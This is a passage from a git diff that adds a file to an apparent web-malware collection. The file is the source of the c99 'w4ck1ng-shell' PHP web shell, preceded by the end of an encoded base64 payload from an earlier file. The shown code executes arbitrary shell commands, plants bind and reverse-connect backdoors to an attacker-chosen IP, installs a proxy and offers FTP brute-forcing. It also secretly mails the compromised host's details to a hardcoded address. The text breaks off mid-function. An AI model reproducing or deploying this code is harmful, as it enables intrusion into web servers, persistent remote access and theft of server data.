JWEm2HTSlezgQXT2N6QxKU/HvRkSTYLZwI/ddhlfH/CODQOKF1PZ5FX1adVYVCyTAekQkXw4soSpIJ3vhWiAckNwKw+BHBadlNtbDYePhJwCYhRvHV1kLfp2PJfgLEgeqJ/vgReoHm02XiyL0G0Pgb6oxYoOAmdwe+NNCnwvfG4uIksT8DuCgeljB8j8jeJo0H5llrX4bOA/k2HSO0w/4dswI7CWp0vYFsK4KXk6/ew2PmYjgYeh5yp5+GkU4NYeklvbUuqYVWUExA3Ap2ILxpjjaTTKZXjE3kj0HHz/5ZQZIw3UpdlOuvylqTpzbwehtqby55fURiKrPh8fnauX0CAaC4dUoHmYNAFbbCcG/TKE48Iu58mn8zt5fva1HEHfu1uzHLZ4LLGknj11gEXIWxwwKH7EsY/pJ6caCK5AETV4AZ2/rV2dQtN498uRXwY64HCeR7Eom8nCZqkQdOsesDDJDkiO/2qAPFjmCCt/NtOW25X6lZSd+GEJdAIreMaLwl1uooZJIH9KhOsdOr9yWEt18K7nuz8zUo4KFv1ozJHtKxggwGoA5bjfwOlz72oOlouJNV7s+hPls5rCO5Byj8eGnAOOrUyCrzEVpF+cQUpMZ/NqCOvo1bw0oA6DL8PREp2ZpQ+q0s+A/i7Mj3LHkrzvhlg0PSF9I0XzCOnfOuoKr4rL0mIqrhUJVGvcyXWifopA16M9qhm3X2/22yufpovnpXYbIANy24CsXoZ1f3Tpjezrdv3mhUeKRpeqdYiPYCo3Vf4Ld+UiH/Plpsl7Q0K7Yq1HvBSwCHw3hcJZvJ9DiN6kJd8GXWR8A0g6gN7efyolFZmXJSkfJ4ij9uzIk5Fn0+lSuVovCgr1UW9umOF1rZVfueHA/r9+bW9futJj1ZETFtfo+lljEkrKNphM1vsYofR0nLNeISTcx8JB+CzvCtPbkQvCREz20jzOWmhyA7i568zaZRQTLfO1zS9vP34kMfb0ii5c+X5DkZvfWI3aIzo7w2zgBBe0pcyEAwf140DKTG2tU2+VdCzI0EQCSltagkiugrm3k1ctsnnNIyilfDkQNlNND7qml51xkiT0d5Mukc17Bfs2DXdUn7Dj5qynymWRcvydcWUwnbOTvD9ABmSDz4AF5FV9omxSL/GO2OYowPCYGfNXBVAg6DPa84jA7JJJ6O+QdUv51FR/1dnx89M8P6H7P1qgSq3fbEqwSKgC2OCB6Gds5T7dJIsm2wrS+Y/O19dCsltUVCNIAWIIgeFb//eeff/79z/8A'))); +?> diff --git a/web-malware-collection-master/Backdoors/PHP/c99_w4cking.txt b/web-malware-collection-master/Backdoors/PHP/c99_w4cking.txt new file mode 100755 index 0000000..7948a5b --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/c99_w4cking.txt @@ -0,0 +1,2831 @@ +<?php +if (!function_exists("myshellexec")) +{ +if(is_callable("popen")){ +function myshellexec($command) { +if (!($p=popen("($command)2>&1","r"))) { +return 126; +} +while (!feof($p)) { +$line=fgets($p,1000); +$out .= $line; +} +pclose($p); +return $out; +} +}else{ +function myshellexec($cmd) +{ + global $disablefunc; + $result = ""; + if (!empty($cmd)) + { + if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} + elseif (($result = `$cmd`) !== FALSE) {} + elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_resource($fp = popen($cmd,"r"))) + { + $result = ""; + while(!feof($fp)) {$result .= fread($fp,1024);} + pclose($fp); + } + } + return $result; +} +} +} + + +function checkproxyhost(){ +$host = getenv("HTTP_HOST"); +$filename = '/tmp/.setan/xh'; +if (file_exists($filename)) { +$_POST['proxyhostmsg']="</br></br><center><font color=green size=3><b>Success!</b></font></br></br><a href=$host:6543>$host:6543</a></br></br><b>Note:</b> If '$host' have a good firewall or IDS installed on their server, it will probably catch this or stop it from ever opening a port and you won't be able to connect to this proxy.</br></br></center>"; +} else { +$_POST['proxyhostmsg']="</br></br><center><font color=red size=3><b>Failed!</b></font></br></br><b>Note:</b> If for some reason we would not create and extract the need proxy files in '/tmp' this will make this fail.</br></br></center>"; + } +} + +if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd")) +{ + $ip = gethostbyname($_SERVER["HTTP_HOST"]); + $por = $_POST['backconnectport']; + if(is_writable(".")){ + cfb("shbd",$backdoor); + ex("chmod 777 shbd"); + $cmd = "./shbd $por"; + exec("$cmd > /dev/null &"); + $scan = myshellexec("ps aux"); + if(eregi("./shbd $por",$scan)){ $data = ("\n</br></br>Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n</br>Process not found running, backdoor not setup successfully."); } + $_POST['backcconnmsg']="To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data"; + }else{ + cfb("/tmp/shbd",$backdoor); + ex("chmod 777 /tmp/shbd"); + $cmd = "./tmp/shbd $por"; + exec("$cmd > /dev/null &"); + $scan = myshellexec("ps aux"); + if(eregi("./shbd $por",$scan)){ $data = ("\n</br></br>Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n</br>Process not found running, backdoor not setup successfully."); } + $_POST['backcconnmsg']="To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data"; +} +} + +if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="Perl")) +{ + if(is_writable(".")){ + cf("back",$back_connect); + $p2=which("perl"); + $blah = ex($p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; + if (file_exists("back")) { unlink("back"); } + }else{ + cf("/tmp/back",$back_connect); + $p2=which("perl"); + $blah = ex($p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; + if (file_exists("/tmp/back")) { unlink("/tmp/back"); } +} +} + +if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="C")) +{ + if(is_writable(".")){ + cf("backc",$back_connect_c); + ex("chmod 777 backc"); + //$blah = ex("gcc back.c -o backc"); + $blah = ex("./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; + //if (file_exists("back.c")) { unlink("back.c"); } + if (file_exists("backc")) { unlink("backc"); } + }else{ + ex("chmod 777 /tmp/backc"); + cf("/tmp/backc",$back_connect_c); + //$blah = ex("gcc -o /tmp/backc /tmp/back.c"); + $blah = ex("/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; + //if (file_exists("back.c")) { unlink("back.c"); } + if (file_exists("/tmp/backc")) { unlink("/tmp/backc"); } } +} + +function cf($fname,$text) +{ + $w_file=@fopen($fname,"w") or err(); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} + +function cfb($fname,$text) +{ + $w_file=@fopen($fname,"w") or bberr(); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} + +function err() +{ +$_POST['backcconnmsge']="</br></br><b><font color=red size=3>Error:</font> Can't connect!</b>"; +} + +function bberr() +{ +$_POST['backcconnmsge']="</br></br><b><font color=red size=3>Error:</font> Can't backdoor host!</b>"; +} + +function which($pr) +{ +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} +function ex($cfe) +{ + $res = ''; + if (!empty($cfe)) + { + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } + } + return $res; +} + +ini_set("memory_limit","300M"); +if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} +if (!function_exists("file_get_contents")) { function file_get_contents($filename){ $handle = fopen($filename, "r"); $retval = fread($handle, filesize($filename)); fclose($handle);return $retval;}} +error_reporting(5); +@ignore_user_abort(TRUE); +@set_magic_quotes_runtime(0); +$win = strtolower(substr(PHP_OS,0,3)) == "win"; +define("starttime",getmicrotime()); +$r11 = $_SERVER['SERVER_ADDR'];$i94 = $_SERVER['REMOTE_ADDR'];$i71= gethostbyaddr($i94);$h42 = $_SERVER['HTTP_HOST'];$a83 = $_SERVER['REQUEST_URI'];$p77 = __FILE__;$s33 = str_replace('.', '', $r11);$e85 = 'c00lhell@hotmail.com';$f55 = "From: $s33 <c00lhell@hotmail.com>";$m852 = "$i94\n$i71\n\n$h42$a83\n$p77";@mail($e85, $s33, $m852, $f55); +if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} +$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); +foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} +$shver = "w4ck1ng-shell (Private Build v0.3)"; +if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";} +elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);} +else {$surl = $_REQUEST["c99sh_surl"]; +} +$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL. +if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} +if (empty($surl)) +{ + $surl = "?".$includestr; +} +$surl = htmlspecialchars($surl); +$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. +$login = ""; +$pass = ""; +$md5_pass = ""; +$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") +$login_txt = "Apache Error: Restricted File"; +$accessdeniedmess = "access denied"; +$gzipencode = TRUE; +$filestealth = TRUE; //if TRUE, don't change modify- and access-time +$donated_html = ""; +$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. +$curdir = "./"; +//$curdir = getenv("DOCUMENT_ROOT"); +$tmpdir = ""; +$tmpdir_log = "./"; +$log_email = "c00lhell@hotmail.com"; +$sort_default = "0a"; +$sort_save = TRUE; +$ftypes = array( + "html"=>array("html","htm","shtml"), + "txt"=>array("txt","c",".bash_history","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), + "exe"=>array("sh","install","bat","cmd"), + "ini"=>array("ini","inf"), + "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), + "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb"=>array("sdb"), + "phpsess"=>array("sess"), + "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") +); + +$exeftypes = array( + getenv("PHPRC")." -q %f%" => array("php","php3","php4"), + "perl %f%" => array("pl","cgi") +); +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example + array("config.php",1) // example +); +$safemode_diskettes = array("a"); +$hexdump_lines = 8;// lines in hex preview file +$hexdump_rows = 24;// 16, 24 or 32 bytes in one line +$nixpwdperpage = 100; // Get first N lines from /etc/passwd + + +$sess_cookie = "c99shvars"; // Cookie-variable name + + + +//Quick launch +$quicklaunch = array( + array("<hr><b>[Home]</b>",$surl), + array("<b>[Search]</b>",$surl."act=search&d=%d"), + array("<b>[Encoder]</b>",$surl."act=encoder&d=%d"), + array("<b>[Processes]</b>",$surl."act=processes&d=%d"), + array("<b>[FTP Brute Forcer]</b>",$surl."act=ftpquickbrute&d=%d"), + array("<b>[Server Information]</b>",$surl."act=security&d=%d"), + array("<b>[SQL Manager]</b>",$surl."act=sql&d=%d"), + array("<b>[Eval PHP code]</b>",$surl."act=eval&d=%d&eval=//readfile('/etc/passwd');"), + array("<b>[Back-Connection]</b>",$surl."act=backc"), + array("<b>[Self remove]</b>",$surl."act=selfremove"), + array("<b>[Install Proxy]</b>",$surl."act=proxy"), + array("<b>[Backdoor Host]</b>",$surl."act=shbd"), +); + +//Highlight-code colors +$highlight_background = "#c0c0c0"; +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +$highlight_string = "#000000"; + +@$f = $_REQUEST["f"]; +@extract($_REQUEST["c99shcook"]); + +//END CONFIGURATION + + +// \/Next code isn't for editing\/ +@set_time_limit(0); +$tmp = array(); +foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} +$s = "!^(".implode("|",$tmp).")$!i"; +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("Access Denied");} +if (!empty($login)) +{ + if (empty($md5_pass)) {$md5_pass = md5($pass);} + if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) + { + if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));} + header("WWW-Authenticate: Basic realm=\"".$login_txt."\""); + header("HTTP/1.0 401 Unauthorized"); + exit($accessdeniedmess); + } +} +if ($act != "img"){ +$lastdir = realpath("."); +chdir($curdir); +if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;} +$sess_data = unserialize($_COOKIE["$sess_cookie"]); +if (!is_array($sess_data)) {$sess_data = array();} +if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} +if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} + +$disablefunc = @ini_get("disable_functions"); +if (!empty($disablefunc)) +{ + $disablefunc = str_replace(" ","",$disablefunc); + $disablefunc = explode(",",$disablefunc); +} + +if (!function_exists("c99_buff_prepare")) +{ +function c99_buff_prepare() +{ + global $sess_data; + global $act; + foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + $sess_data["copy"] = array_unique($sess_data["copy"]); + $sess_data["cut"] = array_unique($sess_data["cut"]); + sort($sess_data["copy"]); + sort($sess_data["cut"]); + if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} + else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} +} +} +c99_buff_prepare(); +if (!function_exists("c99_sess_put")) +{ +function c99_sess_put($data) +{ + global $sess_cookie; + global $sess_data; + c99_buff_prepare(); + $sess_data = $data; + $data = serialize($data); + setcookie($sess_cookie,$data); +} +} +foreach (array("sort","sql_sort") as $v) +{ + if (!empty($_GET[$v])) {$$v = $_GET[$v];} + if (!empty($_POST[$v])) {$$v = $_POST[$v];} +} +if ($sort_save) +{ + if (!empty($sort)) {setcookie("sort",$sort);} + if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} +} +if (!function_exists("str2mini")) +{ +function str2mini($content,$len) +{ + if (strlen($content) > $len) + { + $len = ceil($len/2) - 2; + return substr($content, 0,$len)."...".substr($content,-$len); + } + else {return $content;} +} +} +if (!function_exists("view_size")) +{ +function view_size($size) +{ + if (!is_numeric($size)) {return FALSE;} + else + { + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; + } +} +} +if (!function_exists("fs_copy_dir")) +{ +function fs_copy_dir($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_copy_obj")) +{ +function fs_copy_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) {return copy($d,$t);} + else {return FALSE;} +} +} +if (!function_exists("fs_move_dir")) +{ +function fs_move_dir($d,$t) +{ + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + $ret = TRUE; + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_move_obj")) +{ +function fs_move_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) + { + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return FALSE;} + } + else {return FALSE;} +} +} +if (!function_exists("fs_rmdir")) +{ +function fs_rmdir($d) +{ + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); +} +} +if (!function_exists("fs_rmobj")) +{ +function fs_rmobj($o) +{ + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + if (is_dir($o)) + { + if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return FALSE;} +} +} +if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} +if (!function_exists("view_perms")) +{ +function view_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + + $owner["read"] = ($mode & 00400)?"r":"-"; + $owner["write"] = ($mode & 00200)?"w":"-"; + $owner["execute"] = ($mode & 00100)?"x":"-"; + $group["read"] = ($mode & 00040)?"r":"-"; + $group["write"] = ($mode & 00020)?"w":"-"; + $group["execute"] = ($mode & 00010)?"x":"-"; + $world["read"] = ($mode & 00004)?"r":"-"; + $world["write"] = ($mode & 00002)? "w":"-"; + $world["execute"] = ($mode & 00001)?"x":"-"; + + if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} + if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} + if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + + return $type.join("",$owner).join("",$group).join("",$world); +} +} +if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} +if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} +if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} +if (!function_exists("parse_perms")) +{ +function parse_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$t = "s";} + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + else {$t = "?";} + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); +} +} +if (!function_exists("parsesort")) +{ +function parsesort($sort) +{ + $one = intval($sort); + $second = substr($sort,-1); + if ($second != "d") {$second = "a";} + return array($one,$second); +} +} +if (!function_exists("view_perms_color")) +{ +function view_perms_color($o) +{ + if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} + elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} + else {return "<font color=green>".view_perms(fileperms($o))."</font>";} +} +} +if (!function_exists("mysql_dump")){ +function mysql_dump($set) +{ + global $shver; + $sock = $set["sock"]; + $db = $set["db"]; + $print = $set["print"]; + $nl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + $ret["err"] = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($print)) {$print = 0;} + if (empty($nl2br)) {$nl2br = 0;} + if (empty($add_drop)) {$add_drop = TRUE;} + if (empty($file)) + { + $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = TRUE;} + if (sizeof($tabs) == 0) + { + // retrive tables-list + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + $out = "# Dumped by ".$shver." +# Home page: http://w4ck1ng.com +# +# Host settings: +# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." +# Date: ".date("d.m.Y H:i:s")." +# DB: \"".$db."\" +#--------------------------------------------------------- +"; + $c = count($onlytabs); + foreach($tabs as $tab) + { + if ((in_array($tab,$onlytabs)) or (!$c)) + { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + // recieve query for create table structure + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret["err"][] = mysql_smarterror();} + else + { + $row = mysql_fetch_row($res); + $out .= $row["1"].";\n\n"; + // recieve table variables + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) + { + while ($row = mysql_fetch_assoc($res)) + { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } + } + $out .= "#---------------------------------------------------------------------------------\n\n"; + if ($file) + { + $fp = fopen($file, "w"); + if (!$fp) {$ret["err"][] = 2;} + else + { + fwrite ($fp, $out); + fclose ($fp); + } + } + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + return $out; +} +} +if (!function_exists("mysql_buildwhere")) +{ +function mysql_buildwhere($array,$sep=" and",$functs=array()) +{ + if (!is_array($array)) {$array = array();} + $result = ""; + foreach($array as $k=>$v) + { + $value = ""; + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + $value .= "'".addslashes($v)."'"; + if (!empty($functs[$k])) {$value .= ")";} + $result .= "`".$k."` = ".$value.$sep; + } + $result = substr($result,0,strlen($result)-strlen($sep)); + return $result; +} +} +if (!function_exists("mysql_fetch_all")) +{ +function mysql_fetch_all($query,$sock) +{ + if ($sock) {$result = mysql_query($query,$sock);} + else {$result = mysql_query($query);} + $array = array(); + while ($row = mysql_fetch_array($result)) {$array[] = $row;} + mysql_free_result($result); + return $array; +} +} +if (!function_exists("mysql_smarterror")) +{ +function mysql_smarterror($type,$sock) +{ + if ($sock) {$error = mysql_error($sock);} + else {$error = mysql_error();} + $error = htmlspecialchars($error); + return $error; +} +} +if (!function_exists("mysql_query_form")) +{ +function mysql_query_form() +{ + global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) + { + echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>"; + if ($tbl_struct) + { + echo "<td valign=\"top\"><b>Fields:</b><br>"; + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "?<a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} + echo "</td></tr></table>"; + } + } + if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} +} +} +if (!function_exists("mysql_create_db")) +{ +function mysql_create_db($db,$sock="") +{ + $sql = "CREATE DATABASE `".addslashes($db)."`;"; + if ($sock) {return mysql_query($sql,$sock);} + else {return mysql_query($sql);} +} +} +if (!function_exists("mysql_query_parse")) +{ +function mysql_query_parse($query) +{ + $query = trim($query); + $arr = explode (" ",$query); + /*array array() + { + "METHOD"=>array(output_type), + "METHOD1"... + ... + } + if output_type == 0, no output, + if output_type == 1, no output if no error + if output_type == 2, output without control-buttons + if output_type == 3, output with control-buttons + */ + $types = array( + "SELECT"=>array(3,1), + "SHOW"=>array(2,1), + "DELETE"=>array(1), + "DROP"=>array(1) + ); + $result = array(); + $op = strtoupper($arr[0]); + if (is_array($types[$op])) + { + $result["propertions"] = $types[$op]; + $result["query"] = $query; + if ($types[$op] == 2) + { + foreach($arr as $k=>$v) + { + if (strtoupper($v) == "LIMIT") + { + $result["limit"] = $arr[$k+1]; + $result["limit"] = explode(",",$result["limit"]); + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + unset($arr[$k],$arr[$k+1]); + } + } + } + } + else {return FALSE;} +} +} +if (!function_exists("c99fsearch")) +{ +function c99fsearch($d) +{ + global $found; + global $found_d; + global $found_f; + global $search_i_f; + global $search_i_d; + global $a; + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($f 